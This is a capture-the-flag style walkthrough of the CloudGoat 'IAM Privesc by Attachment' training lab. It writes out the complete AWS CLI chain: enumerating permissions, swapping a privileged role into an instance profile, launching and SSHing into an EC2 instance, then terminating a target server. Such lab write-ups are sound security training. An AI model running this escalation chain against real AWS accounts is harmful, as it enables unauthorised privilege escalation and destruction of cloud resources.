For the fifth CloudGoat scenario, “IAM Privesc by Attachment”, we are presented with an IAM user’s access keys and are tasked with deleting an EC2 instance called the “super-critical-security-server”. We find that the IAM user has some permissions to both the IAM and EC2 services. With these, we identify an interesting pair of roles, an instance profile, and the target EC2 instance aka “super-critical-security-server”. Upon further enumeration, we learn that we can set the role for the instance profile to a more privileged role and spin up our own EC2 instance. From there, it is a matter of using the AWS CLI within the newly created EC2 instance to delete the target.
Enumerating Permissions
As usual, the first thing we’ll want to do is check our start file, which has the IAM access keys for a user named kerrigan. We’ll slap those into our credentials file and run get-caller-identity to make sure they’re working as expected.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/iam_privesc_by_attachment]
└─$ cat ~/cloudgoat/iam_privesc_by_attachment_cgids0ewe2291m/start.txt
cloudgoat_output_aws_account_id = [REDACTED]
cloudgoat_output_kerrigan_access_key_id = AKIAIOSFODNN7EXAMPLE
cloudgoat_output_kerrigan_secret_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/iam_privesc_by_attachment]
└─$ vi ~/.aws/credentials
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/iam_privesc_by_attachment]
└─$ cat ~/.aws/credentials
[default]
...SNIP...
[kerrigan]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/iam_privesc_by_attachment]
└─$ aws --profile kerrigan sts get-caller-identity
{
"UserId": "AIDA3UTIROIQ2OTLRP5BF",
"Account": "[REDACTED]",
"Arn": "arn:aws:iam::[REDACTED]:user/kerrigan"
}
Cool, now we need to enumerate the permissions this user has within the AWS account. We can easily do this by running enumerate-iam, a tool that is discussed in my previous post.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/enumerate-iam]
└─$ ./enumerate-iam.py --access-key AKIAIOSFODNN7EXAMPLE --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
2022-12-05 19:21:31,736 - 5952 - [INFO] Starting permission enumeration for access-key-id "AKIAIOSFODNN7EXAMPLE"
2022-12-05 19:21:32,325 - 5952 - [INFO] -- Account ARN : arn:aws:iam::[REDACTED]:user/kerrigan
2022-12-05 19:21:32,326 - 5952 - [INFO] -- Account Id : [REDACTED]
2022-12-05 19:21:32,327 - 5952 - [INFO] -- Account Path: user/kerrigan
2022-12-05 19:21:32,398 - 5952 - [INFO] Attempting common-service describe / list brute force.
2022-12-05 19:21:33,311 - 5952 - [INFO] -- iam.list_roles() worked!
2022-12-05 19:21:33,777 - 5952 - [INFO] -- sts.get_caller_identity() worked!
2022-12-05 19:21:33,855 - 5952 - [INFO] -- sts.get_session_token() worked!
2022-12-05 19:21:34,632 - 5952 - [INFO] -- iam.list_instance_profiles() worked!
2022-12-05 19:21:35,019 - 5952 - [INFO] -- ec2.describe_instances() worked!
2022-12-05 19:21:35,333 - 5952 - [INFO] -- ec2.describe_security_groups() worked!
2022-12-05 19:21:35,345 - 5952 - [INFO] -- ec2.describe_subnets() worked!
2022-12-05 19:21:35,399 - 5952 - [INFO] -- ec2.describe_vpcs() worked!
2022-12-05 19:21:36,060 - 5952 - [INFO] -- ec2.describe_iam_instance_profile_associations() worked!
2022-12-05 19:21:36,474 - 5952 - [INFO] -- dynamodb.describe_endpoints() worked!
2022-12-05 19:21:36,689 - 5952 - [ERROR] Remove globalaccelerator.describe_accelerator_attributes action
Compared to the previous scenarios, this user has lots of permissions. We can see that they are primarily for the IAM and EC2 services.
Discovering IAM Roles and Instance Profiles
Let’s further enumerate by listing roles and instance profiles within IAM.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/iam_privesc_by_attachment]
└─$ aws --profile kerrigan iam list-roles
...SNIP...
{
"Path": "/",
"RoleName": "cg-ec2-meek-role-iam_privesc_by_attachment_cgids0ewe2291m",
"RoleId": "AROA3UTIROIQWC6VX5Y3S",
"Arn": "arn:aws:iam::[REDACTED]:role/cg-ec2-meek-role-iam_privesc_by_attachment_cgids0ewe2291m",
"CreateDate": "2022-12-06T01:08:43+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
},
{
"Path": "/",
"RoleName": "cg-ec2-mighty-role-iam_privesc_by_attachment_cgids0ewe2291m",
"RoleId": "AROA3UTIROIQR2UOPJZJU",
"Arn": "arn:aws:iam::[REDACTED]:role/cg-ec2-mighty-role-iam_privesc_by_attachment_cgids0ewe2291m",
"CreateDate": "2022-12-06T01:08:43+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
}
]
}
Two interesting roles stand out in the output. One has “ec2-meek-role” in its name and the other has “ec2-mighty-role” in its name. Unfortunately, our user does not have permissions to drill down into the specific privileges of these roles. Based on the names, I think that we are supposed to assume the “mighty” role is more privileged than the “meek” role. Listing out the instance profiles may further support this, so let’s do that.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/iam_privesc_by_attachment]
└─$ aws --profile kerrigan iam list-instance-profiles
{
"InstanceProfiles": [
{
"Path": "/",
"InstanceProfileName": "cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgids0ewe2291m",
"InstanceProfileId": "AIPA3UTIROIQ5KSMEOM2Q",
"Arn": "arn:aws:iam::[REDACTED]:instance-profile/cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgids0ewe2291m",
"CreateDate": "2022-12-06T01:08:44+00:00",
"Roles": [
{
"Path": "/",
"RoleName": "cg-ec2-meek-role-iam_privesc_by_attachment_cgids0ewe2291m",
"RoleId": "AROA3UTIROIQWC6VX5Y3S",
"Arn": "arn:aws:iam::[REDACTED]:role/cg-ec2-meek-role-iam_privesc_by_attachment_cgids0ewe2291m",
"CreateDate": "2022-12-06T01:08:43+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}
}
]
}
]
}
There is one instance profile with the “ec2-meek-role” attached to it. We don’t see anything here that mentions the “mighty” role.
So, what do we know so far?
- There are two IAM roles, presumably used for EC2 instances. We’ll continue to call them the “meek” and “mighty” roles
- There is only one instance profile that currently has the “meek” role attached to it. This means that EC2 instances can be passed the “meek” role and are then able to issue AWS API requests with that role’s permission set
This is good information, but we need to keep digging. Let’s pivot over to enumerating the EC2 service.
Discovering EC2 Instances
We can start by listing out any EC2 instances.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/iam_privesc_by_attachment]
└─$ aws --profile kerrigan ec2 describe-instances --region us-east-1
...SNIP...
"Tags": [
{
"Key": "Name",
"Value": "CloudGoat iam_privesc_by_attachment_cgids0ewe2291m super-critical-security-server EC2 Instance"
},
{
"Key": "Scenario",
"Value": "iam-privesc-by-attachment"
},
{
"Key": "Stack",
"Value": "CloudGoat"
}
],
...SNIP...
A lot of information is returned here, so I’ve omitted most of it. What’s important is that we can see one instance running, which is the target super-critical-security-server. We can attempt to terminate it, but we get denied.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/iam_privesc_by_attachment]
└─$ aws --profile kerrigan ec2 terminate-instances --instance-id i-0b256376eb02d4b89 --region us-east-1
An error occurred (UnauthorizedOperation) when calling the TerminateInstances operation: You are not authorized to perform this operation. Encoded authorization failure message:
...SNIP...
Setting Up the Privilege Escalation
What now? How do we find a path forward? It’s good to note that the enumerate-iam tool we used only lists the non-destructive API calls that our user can perform. This means that it does not test for any type of add/remove action.
Knowing this, we’ll want to check to see if we can edit the instance profile we discovered earlier.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/iam_privesc_by_attachment]
└─$ aws --profile kerrigan iam remove-role-from-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgids0ewe2291m --role-name cg-ec2-meek-role-iam_privesc_by_attachment_cgids0ewe2291m
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/iam_privesc_by_attachment]
└─$ aws --profile kerrigan iam add-role-to-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgids0ewe2291m --role-name cg-ec2-mighty-role-iam_privesc_by_attachment_cgids0ewe2291m
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/iam_privesc_by_attachment]
└─$ aws --profile kerrigan iam list-instance-profiles
{
"InstanceProfiles": [
{
"Path": "/",
"InstanceProfileName": "cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgids0ewe2291m",
"InstanceProfileId": "AIPA3UTIROIQ5KSMEOM2Q",
"Arn": "arn:aws:iam::[REDACTED]:instance-profile/cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgids0ewe2291m",
"CreateDate": "2022-12-06T01:08:44+00:00",
"Roles": [
{
"Path": "/",
"RoleName": "cg-ec2-mighty-role-iam_privesc_by_attachment_cgids0ewe2291m",
"RoleId": "AROA3UTIROIQR2UOPJZJU",
"Arn": "arn:aws:iam::[REDACTED]:role/cg-ec2-mighty-role-iam_privesc_by_attachment_cgids0ewe2291m",
"CreateDate": "2022-12-06T01:08:43+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}
}
]
}
]
}
And just like that, we now have the “mighty” role assigned to the instance profile. Notice that we needed to first remove the current role (the “meek” role) because instances profiles can only have one role attached to them at a time.
Creating a Privileged EC2 Instance
Now that we have a more privileged instance profile, let’s attempt to create an EC2 instance with that instance profile attached to it.
We need quite a bit of information to do this. One of the more important bits is creating an SSH key so that we can access the EC2 instance we create. Let’s get that taken care of first.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/iam_privesc_by_attachment]
└─$ aws --profile kerrigan ec2 create-key-pair --key-name private-key --query 'KeyMaterial' --output text --region us-east-1 > private-key
This command creates a key pair in AWS and saves the private key content to a file on your local machine called “private-key”. It is extremely important to save the private key, as it cannot be read again after creating the key. If you were to run the command without redirecting the output, it would print the key to the command line. While this works for getting the contents of the private key, I find it easier and more reliable to redirect it to a file.
We still need several more pieces of information to create our EC2 instance. We can use the values from the output of describing the super-critical-security-server from earlier. Here is the mapping we’ll use:
- image-id: the AMI we want to use -> found under “ImageId”
- instance-type: the size of the server to stand up -> found under “InstanceType”
- key-name: the name of the SSH key we created previously
- security-group-ids: the IDs of security groups we want to access this instance. Only the SSH group is needed -> found under “Groups”
- subnet-id: the ID of the subnet the instance should be on -> found under “SubnetId”
- iam-instance-profile: the name of the instance profile that we changed the role for previously
- region: the AWS region we are working in and want to deploy the instance to
We’re now ready to issue the command to create our EC2 instance.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/iam_privesc_by_attachment]
└─$ aws --profile kerrigan ec2 run-instances \
--image-id ami-0a313d6098716f372 \
--instance-type t2.micro \
--key-name private-key \
--security-group-ids sg-00d91ce63146eceda \
--subnet-id subnet-040644dd24dad7d46 \
--iam-instance-profile Name=cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgids0ewe2291m \
--region us-east-1
...SNIP...
This command will spit out a bunch of information about the EC2 instance we just launched. We’ll have to be patient and let it spin up. Once it has, we’ll describe EC2 instances again and find its public IP address. This will be found under “PublicDnsName” or “PublicIp”. I prefer to use the DNS name when doing SSH connections to EC2 instances.
Accessing the EC2 Instance
Now that we have the EC2 instance’s IP, we can access it. This part of the scenario assumes you have knowledge of the default usernames used by Linux AMI’s. There’s only a handful to try. We find that the ubuntu user works for our login.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/iam_privesc_by_attachment]
└─$ chmod 600 private-key
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/iam_privesc_by_attachment]
└─$ ssh -i private-key ubuntu@ec2-[EC2 PUBLIC IP].compute-1.amazonaws.com
The authenticity of host 'ec2-[EC2 PUBLIC IP].compute-1.amazonaws.com ([EC2 PUBLIC IP])' can't be established.
ED25519 key fingerprint is SHA256:FHQv49bYUEha/nBrWQ/AgxdQErQ7kS6H8ZChUm5w3E8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'ec2-[EC2 PUBLIC IP].compute-1.amazonaws.com' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-1032-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Dec 6 02:11:19 UTC 2022
System load: 0.0 Processes: 83
Usage of /: 13.6% of 7.69GB Users logged in: 0
Memory usage: 14% IP address for eth0: [EC2 PRIVATE IP]
Swap usage: 0%
Get cloud support with Ubuntu Advantage Cloud Guest:
http://www.ubuntu.com/business/services/cloud
0 packages can be updated.
0 updates are security updates.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.
ubuntu@ip-[EC2 PRIVATE IP]:~$
We’re in! We quickly discover that this instance does not have the AWS CLI installed by default, so we’ll follow the docs to get that done.
ubuntu@ip-[EC2 PRIVATE IP]:~$ which aws
ubuntu@ip-[EC2 PRIVATE IP]:~$ curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 46.0M 100 46.0M 0 0 106M 0 --:--:-- --:--:-- --:--:-- 106M
ubuntu@ip-[EC2 PRIVATE IP]:~$ sudo apt install unzip
Reading package lists... Done
Building dependency tree
...SNIP...
ubuntu@ip-[EC2 PRIVATE IP]:~$ unzip awscliv2.zip
...SNIP...
ubuntu@ip-[EC2 PRIVATE IP]:~$ sudo ./aws/install
You can now run: /usr/local/bin/aws --version
ubuntu@ip-[EC2 PRIVATE IP]:~$ aws --version
aws-cli/2.9.4 Python/3.9.11 Linux/4.15.0-1032-aws exe/x86_64.ubuntu.18 prompt/off
Next, we’ll test it out with a simple get-caller-identity command to see if it works.
ubuntu@ip-[EC2 PRIVATE IP]:~$ aws sts get-caller-identity
{
"UserId": "AROA3UTIROIQR2UOPJZJU:i-0637ff7c697165e5c",
"Account": "[REDACTED]",
"Arn": "arn:aws:sts::[REDACTED]:assumed-role/cg-ec2-mighty-role-iam_privesc_by_attachment_cgids0ewe2291m/i-0637ff7c697165e5c"
}
Notice how we did not have to create a credentials file and pass a profile in. This is because the “mighty” profile is already attached to the instance. We can see from get-caller-identity that we are the “mighty” role.
Destroying the Target
Let’s try destroying the super-critical-security-server now.
ubuntu@ip-[EC2 PRIVATE IP]:~$ aws ec2 terminate-instances --instance-id i-0b256376eb02d4b89
{
"TerminatingInstances": [
{
"CurrentState": {
"Code": 32,
"Name": "shutting-down"
},
"InstanceId": "i-0b256376eb02d4b89",
"PreviousState": {
"Code": 16,
"Name": "running"
}
}
]
}
Nice! We’ve successfully terminated the instance and have completed the scenario!
Scenario Cleanup
It’s important to note that we’ve created resources along the way – two to be exact. Let’s remove them so that we don’t get charged for them and so CloudGoat can de-provision the rest of the resources without any errors.
First, terminate the newly provisioned EC2 instance.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/iam_privesc_by_attachment]
└─$ aws ec2 terminate-instances --instance-ids i-0637ff7c697165e5c --region us-east-1
{
"TerminatingInstances": [
{
"CurrentState": {
"Code": 32,
"Name": "shutting-down"
},
"InstanceId": "i-0637ff7c697165e5c",
"PreviousState": {
"Code": 16,
"Name": "running"
}
}
]
}
Next, destroy the key pair that we’ve used to access that EC2 instance we created.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/iam_privesc_by_attachment]
└─$ aws ec2 delete-key-pair --key-name private-key --region us-east-1
You can always double check in your AWS web console that these resources got deleted. With this, we should now be able to get CloudGoat to destroy the scenario. Note that you do not have to re-create the super-critical-security-server that we deleted. This is because Terraform will recognize that it being terminated is already a part of the desired end state.
Hope you enjoyed this scenario as much as I did. Happy hacking..